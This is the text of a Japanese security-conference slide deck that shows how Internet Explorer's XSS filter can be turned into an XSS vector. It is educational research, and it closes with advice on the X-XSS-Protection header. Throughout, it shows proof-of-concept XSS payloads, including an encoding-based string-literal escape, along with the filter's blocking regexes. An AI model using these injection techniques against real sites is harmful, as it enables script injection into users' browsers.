XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

X-XSS-Nightmare: 1; mode=attack
XSSフィルターを
利用したXSS攻撃
(自重版)
Masato Kinugawa

自己紹介
Masato Kinugawa
x
s

自己紹介
Masato Kinugawa
x
s
B

バグハンターの愉しみ
自己紹介

話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法

話すこと
IEのXSSフィルターを使って
❶XSSする手法
❷XSSフィルターをバイパスする手法
ごめんなさい、変更します！

話すこと
XSSフィルターがどういうものか
XSSフィルターとどう付き合うべきか

XSSフィルター
Internet Explorer 8から導入(2009)
Chrome/Safariにも同様の機能
➡今回はIEのフィルターを取り上げる

IEのXSSフィルター基本
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
q param is: <img src=x onerror=alert(1)>
</body>
</html>
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える
遮断前

こんなふうに#
http://example.com/?q=<img+src=x+onerror=alert(1)>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
q param is: <img src=x #nerror=alert(1)>
</body>
</html>
遮断後
リクエストの値とレスポンスから、危険と判断
される条件にマッチすればページを書き換える

XSSフィルターの不正確さ
条件にマッチすればユーザ入力の動的生成部と
無関係の位置にある文字列でも書き換えてしまう
http://example.com/?q=AAA&<meta+charset=
<!DOCTYPE html>
<html>
<head>
<m#ta charset="utf-8">
</head>
<body>
q param is: AAA
</body>
</html>

XSSフィルター導入後の世界
ページの一部が書き換えられる可能性を
すべてのサイトが突然持つことになった
#
#
#
2008 2009

ちょっと変わるくらい
#
#
#
どうってことない？
➡どこか1バイト変わることが
どういうことか考えてみよう！

http://example.com/?q=AAA
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="AAA".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>
文字列リテラル内へ
ユーザ入力を動的生成

http://example.com/?q="/</script
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s=""/</script".replace(/</g,'<');
document.write(s);
</script>
</body>
</html> XSS対策もOK

http://example.com/?q=<svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<scr#pt>
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="<svg/onload=alert(1)>".replace(/#/g,'<');
document.write(s);
</script>
</body>
</html> <svg/onload=alert(1)>

http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>

http://example.com/?q=</title><svg/onload=alert(1)>
<!DOCTYPE html>
<html>
<head>
<title>TEST</ti#le>
</head>
<body>
<script>
s="</title><svg/onload=alert(1)>".replace(/</g,'&l
t;');
document.write(s);
</script>
</body>
</html>

http://example.com/?q=%E3%81%95";alert(1)//
<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="さ";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

UTF-8の解釈
"さ";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ
Shift_JIS 縺表

Shift_JISの解釈
"縺表";alert(1)//"
0xE3 0x81 0x95 0x5C
UTF-8 さ
Shift_JIS 縺表

<!DOCTYPE html>
<html>
<head>
<title>TEST</title>
</head>
<body>
<script>
s="縺表";alert(1)//".replace(/</g,'<');
document.write(s);
</script>
</body>
</html>

つまり
1バイトの変更すらリスキー
https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU-
2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf
Universal XSS via IE8s XSS Filters
実際過去には
XSSフィルターの書き換えだってそう、
慎重に行わないと逆に脆弱にもなる
Eduardo Vela Nava & David Lindsay

2015：今は大丈夫？
実際の遮断規則が
どれほどのものかみてみよう！
XSSのないありふれ��構造のページが
XSSに脆弱になる複数のパターンを発見
大丈夫…ではなかった！
これはさておき
この件は適切に修正された後、公開予定

遮断規則
特に文書化されていない
ブラウザにロードされるdllのバイナリに遮断文字列が
正規表現で書かれているのが確認できる

<button value=
<form>
<textarea>
<isindex>
<input value=
<option value=
<embed src=
<embed type=
<iframe src=
<frame src=
<x:vmlframe src=
<link href=
<import implementation=
<meta http-equiv=
<meta charset=
<a href
<script src=
<script xlink:href=
<script href=
<script>
<applet>
<object type=
<object codetype=
<object classid=
<object code=
<object data=
<base href=
<style>@i
<style>:(
<style>:
<style>=(
<style>=

<button va#ue=
<fo#m>
<texta#ea>
<is#ndex>
<input va#ue=
<option va#ue=
<em#ed src=
<em#ed type=
<if#ame src=
<f#ame src=
<x:vmlf#ame src=
<li#k href=
<im#ort implementation=
<m#ta http-equiv=
<m#ta charset=
<a hr#f
<script src=
<script xlink:href=
<script href=
<script>
<ap#let>
<ob#ect type=
<ob#ect codetype=
<ob#ect classid=
<ob#ect code=
<ob#ect data=
<ba#e href=
<style>@i
<style>:(
<style>:
<style>=(
<style>= 遮断後

<a hr#f
<m#ta charset=
<li#k href=
<script>
DEMO❶
❷
❸
❹

感じてほしいこと
自サイトがどうなるかはフィルター次第
➡そんなのブラウザのバグ？
ブラウザがなんとかしてくれよ？
常に安全にページを書き換えることが
できているとは言えない

そもそもあなたのページは
どこか一部分が壊れても耐え得る作り
になっていると断言できる？

フィルターがやれること
最大限に配慮しながらページを書き換える
#

実のところ
意図的に誤検知を生じさせて、
特定の機能を動作させないよ
うにすることも、場合によっ
ては可能です。(略) XSSフィ
ルタの作者が、この種の危険
性を認識しつつもXSSフィル
タを導入したのか（あるいは
そうではないのか）、ちょっ
と興味があります。
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
T.Teradaの日記より
http://d.hatena.ne.jp/teracc/2
0090622

実のところ
ブラウザ側も危険性を認識した上で導入
以下は6年前の寺田さんとはせがわさんのやりとり
http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke
中の人は "The answer is
Yes. " だそうです。
はせがわさんのはて
なブックマークの
コメントより
➡Web開発者が危険の面倒をみながら使えばいい？

面倒をみるとは
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
つまり次を行うこと：
できそうですか？

遮断文字列の一例
javascript:1
vbscript:1
vbs:1

遮断文字列の一例
javasc#ipt:1
v#script:1
v#s:1
シンプル？

javascript:リンクの遮断の詳細
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}

javascript:リンクの遮断の詳細
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(
41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)
|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(
([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[
].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73)
);?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)))
)*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0
*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(
52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;
)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(&
(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[
].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10
)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7
4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;)
)))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
http://masatokinugawa.l0.cm/2012/09/xss3.html

これができるなら
✔ XSSフィルターの遮断動作を全て把握
✔ 部分的に書き換わっても安全に動作すること
を全てのページで検証
✔ 危険な部分は逐一コードを書き直して回避
自分のサイトのXSS全部潰せるのでは…
➡じゃあどうするのがいいか？

X-XSS-Protectionヘッダ
値効果
0 無効
1
有効
(部分的書き換え)
1;mode=block
有効
(表示の完全な停止)
デフォルト
XSS保護機能を制御できるレスポンスヘッダ

Y
慎重な彼らはどうしている？

HTTP/2.0 200 OK
Date: Mon, 19 Oct 2015 22:32:06 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
...

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html
Date: Mon, 19 Oct 2015 22:40:37 GMT
x-content-type-options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
...

ちゃっかり制御している！！

より安全を考えた選択
値選択すべきサイト
0
基本的なXSSは対応している
/誤検知をなくしたい
1
推奨しない
(発見した手法の影響を受けるのもココ)
1;mode
=block
XSSがまだありそう
/念のため保護も受けたい
default
X-XSS-Protection:0 か 1;mode=block

mode=blockなら安全？
直接スクリプト実行に繋がることはないはず
フィルターの恩恵の方が大きいと僕は考える
遮断時の特徴を外から検出できれば
ページ内容を推測できる可能性はありうる
この可能性はゼロにはできないだろう
一方で

Web開発者の声
僕
開
1;mode=blockに変更したら
どうだろう？

Web開発者の声
僕
開
1;mode=blockに変更したら
どうだろう？
遮断時の説明が不親切で、
誤検知時のユーザ対応を考える
と厳しい…。

遮断時の説明が不親切
確かに…

Web開発者の声
基本的なXSS対策はできていると思うし、
X-XSS-Protection:0にしては？
僕
開

Web開発者の声
基本的なXSS対策はできていると思うし、
X-XSS-Protection:0にしては？
僕
製品動作を優先して不適切に
セキュリティ機能を切っていると
思われる可能性が。
開

XSSフィルターの罠
攻撃箇所だけ遮断して残りは表示してくれる
のが一番スマートにみえてしまう
0 1 block
この動作がリスクそのもの

さいごに
まだ安全側に倒す余地はあるはず
デフォルト動作が今のままで本当にいいのか
遮断の原理上、リスクはつきもの
Web開発者はその可能性を知ってほしい
デフォルト動作以外で制御することを強く推奨
XSSフィルターの改善には期待したい

http://l0.cm/xxn/
本当のNightmareは
以下で後日公開
エルゼロ

";alert#"Thanks!"#//
@kinugawamasato
masatokinugawa@gmail#com

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

More Related Content

What's hot

What's hot (20)

More from CODE BLUE

More from CODE BLUE (20)

Recently uploaded

Recently uploaded (7)

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa